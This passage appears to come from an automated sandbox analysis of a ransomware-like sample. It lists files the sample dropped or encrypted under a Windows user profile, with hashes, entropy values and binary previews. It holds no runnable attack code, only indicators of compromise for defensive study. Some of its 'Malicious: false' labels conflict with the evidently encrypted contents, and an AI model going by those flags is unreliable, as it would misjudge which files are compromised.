...)....8+.%.O....=H>h.......S..)k.65...Kg5.p<.ax).6&.z.....qK.$..?......'.)XSp...V}.2u...l.....Mpt-..6Q...v..O\|.".A.v...F0.H.h......t.g.;.....(...hz .FQ...

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\upgrade.jsonlz4-20230927232528

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	4749
Entropy (8bit):	7.958835585424577
Encrypted:	false
SSDEEP:	96:/eKjnFjmoZriNEoOrdivbPPshXIwU04NwZ2Gro5:/Lso5EuMbPshX4TN02Gri
MD5:	18E7043A35D919DF97DF4EB855CFE2BA
SHA1:	1EE44AEFBFB3814819A9B5934DA75BCC8ED8BF92
SHA-256:	8D05DF315F94712EC6B910C90031AADDCB6A89662DCBFB3E1890A03131F2CB6A
SHA-512:	07FE5EA3FFFAA770C4C0F75053A9913D2C47638C2E4385287542DB45A58467463FCFB4ECC1744713B3871F9CC558F71F84B20453FAE90F4C8968B562805ED72A
Malicious:	false
Preview:	mozLz.....4b!..9....B}%.ng..;...]>..%.Y.m....e.5.@.X\.Z1....f....>.Q}02bX...~OU.@..A.-..PQ.%....,4...Q..Zm.~.....7..?...N..#r.....U.>..l6.=4=.E....2j....\|w\|..V!....o.:K.i.`Q "Y.wtK@L&:.is.v...X.Nm..&..\|".#...P.7....MV`.Z.n...j.Q..%...3.....^.:..hO.(..#.8Z..Ft.M...w.S. P..Bw...........e..[.vX3..Q.f....s..z}.:.[C@.hB.k.-h.^...p..'P^QJ.c_Q<..{...@.W.%...u.....^....T... $J.......Mp.......v..uR4.x..4y4.M.>..D0....,7wU[."...n.w.....GO .G..3.;....=.....:....P.$...f..=y.....j.%.M6cO..].V.?.C...m.s.m..#d.#I?...T./J....H.2..YYMp.2DS$~.2..=4.....r4.:RE..~0q-8....m..b...d.......`o.rX...I.wU.S.3.2....x r.... ......].#....E(."A........6JS........P#..1..\.q^._.F.Qh.L..G..L.d...6:.b......t.._....C+.X20q..c.]0...-....8.+..0.....5.X$..w..A..VN.`...`0.W.).c.G..s.c...us,_...1$CU...j....TN.....q....--........~...1.a.>..]L;0[...yp."..n.7.....!.`S~.4&.(.k{.^5.X...3$......L..[...le.;.c...$U8.u.,.'...s..t.QR...8...H.\..R..9.z....C..DO.jZ...Ga).v.....$S.X)...

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\ls-archive.sqlite

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	131406
Entropy (8bit):	7.998723554870619
Encrypted:	true
SSDEEP:	3072:/VjXYttR4Apqat66l14L+hw/J0tp2nUVoTDGzJBW7J1b5p++CxCLtBB:RQtzpqat6i1vynUVoT6FQ7JfpJCxCLh
MD5:	DC34781B85CAB754E0485915C62CD8A2
SHA1:	3D87DB1C93AB1891163B29B563F2A7AF540E5FA1
SHA-256:	F3BF8557816B26E939846ECEBD5403266406555C2225AB8583AC30AAA4B6FDD3
SHA-512:	D1ABBB7BFFA9198EC8BF1FCF404C6EE7C07D1C7BF668B62B7AC5E0459423E2CECCFD9FF79A6E80735701AC7BAD5DADCC6933AC927E590BC1C69822CA550F6C8C
Malicious:	true
Preview:	SQLit%...tW.p^tWJ..P.&K.w.:nUE......n....ga4Tp..%...)9.t..&..&..R)o..$.K.z...h....Q..A..q.+4...->A..@..m.....l].i...L..>..(.hya.'1nX.k...N...N...N..w..........A..../.G.#....>.X).......\|..}...q.......H.4D.+ID.> ...;[$..%..m.0.z.g...x...\|...LP3.a..Y&..Z.:.y.\-nG.c....VV.s..Sft.....'.{.;`.)...Y.HT..K(3......@.[... ..r.}.N....c/.........)5.L.....SK ..X...[.\|.E1....dQ...r...=.............w6?Q....X1...%.S....]....%..4...P.....n47.C=$DH....K..~n..~!y"t.zv.!.@8qx<.......9.U.'.URA_....Qg&`....{....p~..Q.......~..9`..O......>....@.......-#.....P..d.....]P.8.C..s._......J..'`.F......z._.j.s....?.!.~.B.O%...:.(..@....2c.>4........./..2t..5.O..).......p.t.xb.h.HV.].._..#.....O..LA.t[.....IUJ...l.sr...........V...c..1.......@.p... .k8}..r....G.6..o.."<.......T..,.8...t...!qzx.+.f<DX..@....A...?W..Z.H.B.dq.>9z{.p.m~...#....`.-E..z.y......1.`.8.Ii.1\C.2.P.7..........l..i.J..M....`Z^l.fA\|.H.o.......8......c....K..6.z.$o.+0....d.?J......

C:\Users\user\AppData\Roaming\Skype\RootTools\roottools.conf

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	410
Entropy (8bit):	7.469673065524485
Encrypted:	false
SSDEEP:	6:mjZNg4nTcq7n86imjRp3FlSkBthPGG/b0eicX/aahT0CVzoAHcoyFm8pdgU3ciik:+VTcSPXyo4eXnFyS2cii9a
MD5:	AC66FA51D20E417558DC527D7B7E9BB2
SHA1:	1C46ECB6CC939DFC3793E9C3F777E06FC2451AB7
SHA-256:	D57F7CF157D4ED75E438FCE6271F4878F3D775F1AC4E3C175A2AD2F388FBBC9C
SHA-512:	8B4041594141F2CADFD7B81E0753CB84E5FAD26AD2B5CFBDC7DC75FA443E8610CE5DD6984AB6713BF86BD04894CD9F5D09D5D74635B59A461FACB065905E9DA9
Malicious:	false
Preview:	node_..r...`m...R`.6..>....]<.~.........XD..9..9J.......?....]..q...p.k..[.K.......$..\Z...k.Sq..a.r..F.~.<%..aZ...R$uYH.A...gM..,...........~4.f..C.`...`.....F.#...S...u.t9....Y..'....@.b.{..a.....H...AF..\./:....W..5s.8....I]....E... ....G.\|H.C...N..Nk.(.h.~.. ......o8l...z%gpz.d._.%..xp.....v.......[.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Adobe\Acrobat\DC\TMDocs.sav.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	370
Entropy (8bit):	7.349354840329453
Encrypted:	false
SSDEEP:	6:qbrdzqYKrQSGwnwL4DgD6HoicU1WZtSCLBE6KWUZZIWHwXQAFm8pdgU3cii96Z:qb5qK6PDZHoickWZtSCVQ7RwXdS2ciik
MD5:	12CC4E0AC84953D5C9B701851191B402
SHA1:	1E8737BB96E1C0BCD5281839F83D90ADE7AB9C45
SHA-256:	D0DDE27A3B53672D7DD4BB24BFDB656DC195E6E807FCA4ED6278A49486452D98
SHA-512:	E2002D4C35838235101E6292758CC5C4D48E9A8E60639B7029F19A613973225695EE3B3F8735496ADF03C6E7654C3D291E1CE04B6F7A38BE2F8C06CE2EFF1ED5
Malicious:	false
Preview:	%PDFTd3...]..v.._...6...1.=.../...S.O..u:!.a..e......i...; 5k...pzx..H..o.....5\|.{...#y...uY-U..\.Ac..D..;.Qo.e.5.`...%.W4%.Du.....6...+...v.X.....gR....k...(.../,"Pd=.8..Y....R)...g.O..V..].........(.^D.aO.0..j..v.OF.NU2..,......^.S.K._.i.{..>.....XUk...q.4....n.q{3....<...>c..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Adobe\Acrobat\DC\TMGrpPrm.sav.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.334661602794225
Encrypted:	false
SSDEEP:	6:ITv5jLmNtJ/S7+GYMH4cEZGlfEpj7i5vMSfcuWqaKlvpyEW+TZYvvcWpxFm8pdgw:iGNZSMhAlvpXCvcuxS2cii9a
MD5:	814357CA76F9CE9A61D7C5D5ADF69273
SHA1:	9422A87786CA29FC064322CA6D5EC858CE57FE11
SHA-256:	65702524F318054BE87DD7C9F3CB11BD6BE68588C1456C76B0A041E3055FA882
SHA-512:	8E66A0C62464761BD5FC85F886CA6ECC14D2E738163DAAB6F29FFEF9D190816D45A13689F0B813274F324C8810871C85541FAC1DA7B6F612D9A1EDC45BE12D9A
Malicious:	false
Preview:	%PDFTF.)...i.M.l..{........k.([......f.<)k.?....D.'.S....0.y.Mg..1,..1".Fk..-.T..2.>V..g....z.....HVSxX..tX.D.s.m..)..f.6..O....]]...?j..M..ZG.....\"@a,B.;>.2&..r..yL..?.....r!.{..k....H.Y.,.V........o%.7.-....>EN.:.._\...I........Z....;...............!.de......q-.eA..-....=Zr.......LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Microsoft\UProof\CUSTOM.DIC.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	350
Entropy (8bit):	7.288416122297359
Encrypted:	false
SSDEEP:	6:QIRgI+jef50RO3I23ifmOX3SSo0AIRHiU77nbHyAFm8pdgU3cii96Z:QC+jA5ucOnUIwW7nbHyAS2cii9a
MD5:	E5EAEFAD7E0E53ED6E4A7ECA6C38277E
SHA1:	D4F25505D7CB320C41FB2DFF9532BA137CD4ABCA
SHA-256:	4EA8A8423A3E74A6054E66036AFAB242012A338DE9F8CC016DCB3AE7FD044556
SHA-512:	FCE4A00163C142FA78AB9C29EC39BFB6799E3BDE3A0E0F8D7AAEE752D0B52C4A375E5A8EF079EE7C60257D1D6D20400EC124A54E7457D00E698839859547AE2F
Malicious:	false
Preview:	..j.o.Ub....r..e.6.].-...S..m.K....X..L.t...B.5...;..<y......&..-..8?H.....qg..kV.O../:q.h...)e[.....,.3..yq..,#.q.uI.....[..@>....[.f...GSB.<.H71..rt+]...."...+pK..Y.R.=.5.s.......T1..q..<(..P..<L.9..}.j4....J.;3..1(....-..9...p..>Yt..u.."....V_....!.]....D2.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Microsoft\Windows\Libraries\CameraRoll.library-ms.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1352
Entropy (8bit):	7.850029319379441
Encrypted:	false
SSDEEP:	24:Ns2A2NuQz9SxE2Zv/6Yhs2lbnBwdaTudWUvhKpVJa96Uy9t0LFzvbD:N/5WE2R/LhXlL4aTuzKpVJa9jLRzzD
MD5:	13E49B28CFA4BDF88F0F826A22D72D3B
SHA1:	B6B39A99EDAB80233ABA97872DB247E7EF0BB563
SHA-256:	FE8A9C467D623770CA181087BFBF7C5BE32A028036FB1AB3016D27D3FE65949E
SHA-512:	BAE0FDA4F3908C09BC6DE5FC9D0E2F81E8E6A3DBD56A065A305E891B982775E8EB7C683BF78DC4731019E725F0F81ACD6EC0E3A3F180530DFDC1057B6E4C9A88
Malicious:	false
Preview:	<?xml....T...!..\|.&..wH.!....S,...-.&.CL...qQ-B"..Bg.D../v.....4..>...#.m.8.~....`2.-.......p.,V".]..(6..z.F.T.F.... 1..ccn3L.0.E..j..P.K.M.y.T....G?).C...V./...:.........T.cg..u..m...x..f..._........_3....j..u9@z...p.v....zi.e.....(..Y.....cT.\|.;......&6+..}..w.\..p.....L$K..r~\p#.(.......\.U...k.W.`j..f;..../.....U....6 ?.D..)..~c-....E.....V..$w......_..c....#.._.K..N).......bm.#B...d....2.......e.R.....).R.o......Z.p..u..=c\..Qs....<.)...ykP....%%....%..SZ...Q>.aT!a...g......S<F...W.;C....zN..r.T.x..X(.X....]..K.7.].....(....^7.)t..k.c{.....G....6o.V..(......$C...".xN..Z>.,.(.1M.I.S..........c_.H.i....v..D.b.M7#4..X ....6....._.&..x..a;..L.....r..y...Q..g...a"./j...go.@..Sym.u.;..!.....(l.T....l.?&f..X.^pj.. w..s....\|G..b{?..Ft/.h...}.5.."...W..U.K........x^Mxz3.I.o.z..k..........[K'.r.N..Y .N*.p..;.....A..........h.fC.DW.2...a....k.d.^.cS~a...[..._....L...G.......;..QyA.5/.}H...z$.6.F.O.(.U.&=.Ej.c._...x_..S.+A@!i\`

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Documents.library-ms.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2424
Entropy (8bit):	7.921550793833874
Encrypted:	false
SSDEEP:	48:NhiZnbOwWUzY0hM61aGzUR2dCTz9aj1y7UM0dJTkwiX2rraypVFeXy35C5m0NSxD:NhGnbOwDYAM61ZzU0+z9qypEqwnrayp5
MD5:	8CE4C332150B4A95C5DDDF90F02C9F2C
SHA1:	2B471E714A749AF8F4012D88A96DA3BF72316D9E
SHA-256:	7CBBE3D81D3F5A5EB3B076D13EBF22B39C921C010AF94B6D744779F1F55384BD
SHA-512:	781771A0EE90006F3D6E77E8F60345F5643F6A2AA0469EAED68E647CEB8290CBD49078DBB84188EB57878663DF7236F448BBB6C0B1CD18990DC1A77E955B0ACA
Malicious:	false
Preview:	<?xml.K.....]...VTT....-....2a\..&I~...v.s..W.a..Q..S\|...V.SH.e.....@.....%i..DO.0;=.H.!......R)'.....x.oX...2z....c..........QD7.p.......9a../.c'.B.8.;\| 3.PP>bj'6.pL.J.&...#Tb..........p..5H..{T.3.._h...1z.....+.. ?..T.rx..7j......M.]..fz..D.W.B.;D+.#:....v..V.[.s.k..vi..C..G..m/.]......-.....^e1.-m^..`....U.,:.7kC.\..ks...9\".')..b...v..:...lG{^.\|...AK.....`.....}..IU.$..?..H_.."....1...!.,q.&.....5....(...x....b.Eh...I"w..E\|f....Xa..O.KS.xP$...... ;..J\.6......Rf..h..E....G..t..).sN..5......M.'.Y..o\|\{.u.%..E...Z.%_.cLj...g7u.ab...HY.=..o..\O....w.Gf..<.!.jo...k..c...Y5.m....^$........,L#3...j)...F.>..R.e..{K..;...d.....!.w!4k.R..S..b....LMq.u..v.8wO.k!.O..KX............."@C.....m.n...M..AQ.....g q1..br.3?*..g..PJ>:...m..KH$e.U.\|2j........l.BS<..yL......~...=......q........?.....Z..?......G.\|.Lh3..T].~).Y..e.a.0y.d..........n...w.?Md......O..e.G..\|!.D.Y....a..~".ga...T...F..6.9...2.v.N..c<.`.cZ...)pG;.i:..B 0r..d.6Q..L i.....!S.Q...zq.i.

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Music.library-ms.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2381
Entropy (8bit):	7.91893868691373
Encrypted:	false
SSDEEP:	48:Sckm9EZNiizQj8egHSFz8ZQ8jMcnXvEEXGnEMxoRApNjD:9kWckMQLgHozGQ8BcnH+ezv
MD5:	74E27126133213CC29B98F6FF289D254
SHA1:	0A359BC7AD9E99B70E26648A432E55952A152FC0
SHA-256:	3F6B943C04A1737ED18B73D79C1ABEABDCB4B3B0790CFDE053FE1A4D020C13EA
SHA-512:	B90A331DABED73559AC59CAF431F3058472F34CBB8588F5CE2628B44794547467FAC747561F8FC7232EBF6D9415A730C2F6879D7D764EA4CD799D08F012EADB9
Malicious:	false
Preview:	<?xml.. .....2Z'.>.....x....+.]...l...,..\|.].(..i...a~..2..'I=..{.....J....r).I.%.fm..Z.....{.[2~.y..?1.5p...g...Niv#.We>..y.M.c.-.Vo..Ib...v..j.u.../....7.@..A?....-U..D.T....R..`0,.Es..".........y4T...$.w..`...?..E..A....Pk.>.lH.......#....f...{i[............8..=..w1.d.......q..1bk..4.]xqsf.uK..>"U.....0......z.$.'6.w...9"J......t`U..$....LL.`.9..#n.-...M.E..<.00'v'..+.+....F..".!..9....0t.e.<!.+."o.3.]..}R...!`b...(....Ki..@...f.A.=...w........O.g?!0.9......F.HT_...........y.Y.0...x[ZBTS.u.\|.I..I...f..E.....iD .s.....R7.2Fp..--.......y..u.R.{-.........Q_8....z.\|#.....I..W[.V..C/......G...'}..."Eu.Qg.a(.....va..t)...E..;..A.._.@..7...CydR.u.E.C.....j.Q7..._...-...];....Iocf.0z.%{.6.3..V...>j.+.p(?9.../....~....s_..pH9..D.......".2....#a....p..N...tW.Zn!.g..d....,....].5.G9lz.....CT...E.........aZ...s...5K..Q.t....(h.i.........$..h.er..z(q.._.+...=...I.....=......)...Y.j>..d..P..".m..Z..{<,..#.x<..Oj.W.!J..{8..%[.-..z.\|.k.T)..

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Pictures.library-ms.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2398
Entropy (8bit):	7.91270478722229
Encrypted:	false
SSDEEP:	48:B6sjXFka4r6b4mn/8XaE/MfmB0wATpfV0MbsZFrdh3C4orD:Eszne6EwaZMkmd8ldhypH
MD5:	75D1D2EFE3AB4E69723BEC3F6C861C99
SHA1:	144E12141A1CEC9CC39174E62D42F86F9CB0DC24
SHA-256:	7F97D0A726BC3C364568604400F5AF1106188FF0E8EBF788C26E55399CF4D0FA
SHA-512:	547B07BBB6EF51A6A84F81B2475F0624B6810C0D09C642964DBF287632B94679E7A80E856B602268D142E61336D054A78EDB6FA42C5774ADBEEE4EED524B6C7D
Malicious:	false
Preview:	<?xmlj4.v0i3....%..I.^.X.....c8hK.D..#j...L.....!.RET....}...#..D....[G....l...t..iP.Nu.K...O?".,5.9;.....,9.y&.LM..pl\..1.n..ZK..P.8..,&.}2.o.i0.FD..WV..k..G.,5.G..f7.....4.s..e.A.4...O.X3Bx.....RqyR..L...{_./."..v..T...r;Q....fa8a..)}....H...............J....0v.1.....t.P......gT.[..1 V.....5T....z..Q.IPT.R..?"+...M....L^d.nGn,....B.8........F......L..?.I.s.#...u.O.5.K]...i......K...6.5.Q...'.a..7._..y"tH.....@.6f.8...d..$D...,..I...o....`.r.`-....yl.H(BxzP..46Z.>.ix...f..&.+......a.j..8.V.X.....0......x..mdt....~2\.f}3e.<. .H/'..K.F...M.C!.@....i...Q....]..;(..L.:......dy...,a~y..W..k...xd.zOlO.}.3...s"S.`U CbAo.qMx..-W...%.E...X...o#._I......@....e.w..q.F.D.....G.?...F.+..aJ[..7..g..\|..h..)H"Gj..:...]...:....%..2...".2.v..(].....~.w......-.>.D....%.i..l......g.,.9..{Au.....Yb1........,ul.g'.o...R$...D...i]e.Q.Lk..3Q.....$=.Sy..p.(.....G.TS.....q.......R..54..k....v{.f..#.B..Hd:.>..F..z.a.vwO".wZ..}ToW.x...t..8.\|2.

C:\Users\user\Application Data\Microsoft\Windows\Libraries\SavedPictures.library-ms.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1358
Entropy (8bit):	7.8544804367723735
Encrypted:	false
SSDEEP:	24:HChf4zSS5DMdU5vSYoTdxbPseHMJhKtEBkRN8ir9LXcGjBp3zNcAUvkCDNdpJbD:HggzJDMdU5vSF3qzKtf1cS3BpU5ZdppD
MD5:	4581813727E1DDDC6339D17EC5D8DE0F
SHA1:	3FDF2169DFE400D1FC2BF099455765BFE6A3454F
SHA-256:	8453994685BBC4D0A4296C37294BE97961D88224B13AD78023748F8C82EA859C
SHA-512:	0D7A687BE54F29B709CAD0EC230EC07EF703554B7CBB64771BB4FB8D00EA5C2924B9D0F764D3C5077BECC80C0282D1281E8573AF62A516900213D36D1B3951A8
Malicious:	false
Preview:	<?xml.....A.>...6.........q<.....^.m...<.]1.....b.9#L.....g..X.Vb...v)0a..b...Wo....b.0\|.-...Gvz$........!.....H.......c.....?.H(Vq....Y.o==%.>[c.....%...U...>.M...ID....w.:.o.3.eH..`r..^...S....P.....}0......Q}F.......`..c...R.O.b..a..@.Me.....%.wA..n......y.eK.Y......\|MW.[....S..S..-d...Ib.7.%yb.,j.Lk.O..~8V..@..yO&&..hNb......X.B@..G:....%......4..{O..UT...g....8.f31'...T.C..e...J........t.j/.L.._m.y.....>.........sV.d.....e..w.0.L...BS.`#2.e%.+.....7.Z./w..b..C..mI6.m......x8n7%.2!.%r.&.WW..(.`X.3d.G.p.9.a<...+.+G&KO..-Z.x.1.].....Pf.'..<............L...K.8.......>.\...X$H..G,y.RMz..\|..d.;y~^....b...1......M(P..yVO.....L."4.t.!H.....:.....@~..SB..2".A.UK.6.1..W..Qhm15&./...s.?.).j...wP..wY.}.O..../....2..S...f..........ax.1Z.yO..V..}...........9.WlH.N.....:.h.N..j\.....}.D...n.&Kc.........i=~..d...*..S4&(...s...4.....\|..K......=...k:Ni.^.B..BO.........A...o.P..1.c...iS1..o.H.5 ....s.....{.Y...g.B..i...I1.-.[I.Y.@kB.p..>..W

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Videos.library-ms.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2409
Entropy (8bit):	7.920337895773912
Encrypted:	false
SSDEEP:	48:EECuPZzF3QsOIDfQ7H0fL9x1ihcVee8OEf5wYLzLI7aJtNZ3ZLD:EECYZFy7H0fzmcVePOEfdfmaPZ
MD5:	7EF4C6A053DB4C93970AB53F6FF4F063
SHA1:	DC21AFEE46D62DE674AE24165B0F3012D6A8FCCC
SHA-256:	003A86D5AB45B82BDE12D5A8C34646EA686D22DF455E3CEA39BA949BB5D0E86D
SHA-512:	24BE9AAD0E2D0BB56FAAA3277DF5A686D140081AB4815BB7F5B382631765EB6C5B5B98B1CEDE58FB3D99D3A9F02B96F85B1877C6222B00DC35810F3C61E104BC
Malicious:	false
Preview:	<?xmlR.......t...S..b.f.i..}.\|...b..V=...]....e...K<p9=.Q............(v......5...`:/.Z..y..'..D.<.+.<3pZ....".jsy&.........7..K.L...Zy.... (.M...Vq.+C"xK<..Z.z.......#..fW?..Xx.}#....UE...Z.....O.X..A4~_...........2h.........1.5..B..,...yG..uf>...p.R-.....)...N.....Y..%4#.QPI;..c..i.1..d..=8..w+F....g.,x.b..i.1zp...M..6.n_\|.....~.T..d.>3E.Y_...2l6..Y..i..y....R.....x~.m.}o%DT... ....yh.....Hr.?...2>....3.$.....\|......R......m...V.<O..Y..V."N.)y<.W.............s"!.....?..d.t.~Wc.7..H.4$...o.Y.W.X....{........\|.[...._o.[...Lq......4Z.<........O.....e'..2.N...Y2....yR.}3.;. ..U\|..]...g.VMj..i.........6GN..F....d...2k............S......<...wJ..}$.mU.Y....4\|b. ....O>.&.@VQ..c.U.... y..v..S\|[.hCG.+.H.<).X9)d(.9.m6!_....n..\%..oeA......u...C._..'.$=.LU..h.i.=...fF>..&.$5.;^...4#eN......-w...r5..#?t,+8...il...0..h....#r.Xo....r\.KM2g..q..x1..(..w.....e{.F.a=..^....%....W.Z.Mj.......L.D.......O...@..`...~.B.R.@.1r.."2o.^.3..8....a._.)\|..M..s.a.yt

C:\Users\user\Application Data\Microsoft\Windows\Recent\BQJUWOYRTO.jpg.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8128311110463295
Encrypted:	false
SSDEEP:	24:ySQ8vDtiGbpXYKl0++d1fuTOcuRzonoMf8VidOiFEGKiLuYbD:yExDbt2++dpKmU9NfeQLbD
MD5:	6317B20268D3FDCCEC29D2EC44D61A9D
SHA1:	31EBBF09E0C078816229153A00770D6D1C024114
SHA-256:	44E22C2666A5B6FDC99733ADAD309A585E926CEA50EE0569820B09DBC61AB932
SHA-512:	095E7D1514C964A28833A09AC9A9D4D18CE49426329085CF840AC3FEA3ABD749FBE746FA690FBB48FA2AE42BE25692F1123F7066FA21F252EC7BE4B013C9C72B
Malicious:	false
Preview:	BQJUW:....k...i....n.{C.RQd........2.<..Jh.$..m7...D.....7..r....+(......f.PYL.A5..u.....\.....T.....\|.r..`$...d..7.}..{.0....h.o....?.K.....C...#.i=...:..'..@fn9......P..........G6.....D.(&L.l.D...W.o.6.i5....$.1=6..oB8.. ~.#. .+...V;..%..;YB.....L.i...7...,....q._f.Sgo..9c....Vvk.....z_..>Z..p..9 .bj...^=..!].Q.....>0.DA....Dp.D.pS.#.z.j...R._....%..C...3uFX.6..I u....h...+Y,....9y....l.C.n.+..,A..\..<,.g>.P.$.nF....!i9b...........j...5.o.T.,..18_.U:YpFcp......X.......q.!..<.q.5..Iw4,..R..../.zP.9.....=....A..U.....{..a....vP'.#...W.<..p.C....=dGp\>!...........-.u.$.....R.R'..X..#.t....W........I.)..<!hq.!.^.4lS..13$.d1.m.d.,.h.....d+....Y.9..P.....>V.lcJ...p.1v..y.0q2..4..A.p..~&.E.O.X..."....+n..kmW.C....L......;Pv.L\.....x/..a..J....QE...#.}...z..#......YY.......HC.&.!..e..8I...].....7.........%....qKv..[..Wk...3%..(.#..+.d..XR3K.N..'-...jLW...~7..zX......m.....`.[.*...#.._{.!.....@JJ..._..2_V?.,..f..`...hH............m...]+.

C:\Users\user\Application Data\Microsoft\Windows\Recent\BQJUWOYRTO.xlsx.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.836602707727269
Encrypted:	false
SSDEEP:	24:lauLYFKT/90mnqJ4beL8kslRtb0vj10J+qguAFIIqUTw6VKQerG16DbD:l1/B3nqtIksDtb0vj10J9guMI+Tw68rx
MD5:	91C96BFE87900DAE33FE130DF28908F3
SHA1:	332CC999F5C5ECA45078C2111DBAE35E0E5881B9
SHA-256:	7CAF7F50C1CEFB3BD1F5874EB0EAA0BA1FA3199CFA163E417653ECB43C105BFC
SHA-512:	C7AB948ACBDA7093A8413D0A7B5EE185B94A2CAFA2FBB8CCAF6BCEEF3028D23EB50E635CD0CE3A4F250B1894971EFAD4DAE1102980D32524ECB75893BA56D8AB
Malicious:	false
Preview:	BQJUW.L...!.&."..."."C...&.v6t..o..D......t.P..g...;&.X.^..e..h2(S........b2'....C>].......At.S....{_"...R.....p...."...F..a.e..8.g~@.v.[........Um.[....i..BA.d..j.....y...TQ.4..e..>....9.2.m..n.-.\..,..l..M.p.v.. .).v..Oyz.....'.N..3Q#.Me .(m......S...$=...u.d....O.Xp....oX%.y.e..62..p.Z.j....U0...6...L.Z8.1Ha....Y.N.<..P.........Q.N..R..'....a..0d..Q....D9i...oGs.3=....U.....A..XpS"8....9...w..S...U..)R37....kZ.)>.h......T.b..D..I.A.J.v....8c.e.s.....-:T.....:.....eW"..#.17.zh... ...\|U..l...."...a.n.r.r49`.A.p...(.k..qJC...Qf.6....ZR.:Bq3{..2..9\....A.2.... s.D..........$W.@......A..}...8.....e..S.x..4.aj...c~".:.>..R.%....s.....K....`{...3=Q...`j..b..I........k."....Z.nd<..,}..6.....iI...hk.3.#./Q......oQHhT;..p..6...5.`.B...,C..E..g.o....@8...a.?...S...(..Ug.j.......#Q`.@..L.F.........m...&.`W....2..!..R...@..w.+....h..U......J..Y.E.....L.T.@.qH.4.?.\|...V....6...D#....n#j....E..YK1..y..o....o.m.]...b.....D.....!*..4..`..

C:\Users\user\Application Data\Microsoft\Windows\Recent\CURQNKVOIX.jpg.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857587082943076
Encrypted:	false
SSDEEP:	24:Xqoc86+6eIU8aOnk9iERBWF7b3iTOV8jP5n8pjUr7YTT6EvX5EObUbD:XrPP7ukcEuF7bKOmT5n8ZyMTRvlb+D
MD5:	8F93BF7494F507B01EB3B508503D0F7A
SHA1:	F48CB238DD0E3195E381848AB6E91CB5212B2FCE
SHA-256:	8B2CCC2DE49B0D9F19EB161D62E26CC8B5D20BA17B91F5B57BEB936D49BF4B9F
SHA-512:	A6E0A603D15C436926440863C04FA8D46CE657F29E67B453A41C27B4FED271945898BD529D56D977F22216EAA279B5D4B89C3E5EFC411AB3684F6DF4862D334B
Malicious:	false
Preview:	CURQNRI4>.w.....s.O&..y.m=...j..fs....g%..h.(...r........;......x......a`o..\..w..3.k.J.._..1.U&.Ou/.(.EGY....8^..(v.`.......6.t....DaS.i.V... .N..udM........W...........L..k.....WK.z..*..S..Mx...&.k}..,.).7e...YqUZ`(Xey.......3XN.9;....k"6...:qS7....R..U... .ae.E9a[a...v..:................{.O..%R.....p.....x#/...=Nh.`.OTk.....o.......\...-.4.S.`..2.Z_V.....2.....0.:...,....hIXO...v.uQ.....=.R.V,l..o....s1.E..Sf.6.P.Bm.VP.3..1..n}..=.[O`~.W.a.gt.~$.d.T..m.z?.).{4.?.<....TXD......4.~....).o...Q.e...S.0.3.G..b.e..">.b4.S.f.M..U....?...r..$9..X...6..i.^..w....Z3............/.+. ...U....6.-...<;D..({u.<.y.(]..L.J.'k..+.U.f...Zca..-..'K.../.V\814.a.Y..emy.r.a6...g...jP.E.N.X..BaH....z..w."...t...%@....F.,.c...2.Z.{F..,...(T.~.n.....S6.EV.. . .;...k..........$.'...0Ri ...0t ...3....).Z...Dx.E.c..n..b.n.h.L".C.`..>sv>M"I{..I...U.<.jw{.....pD".,L...........8...2L...%..=H.._.H^.;..z..J.s....^.\.=.N.j)..-.XHL...j.....?s.bKp.......E...9.F.y...g.;..

C:\Users\user\Application Data\Microsoft\Windows\Recent\DVWHKMNFNN.docx.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858711421956795
Encrypted:	false
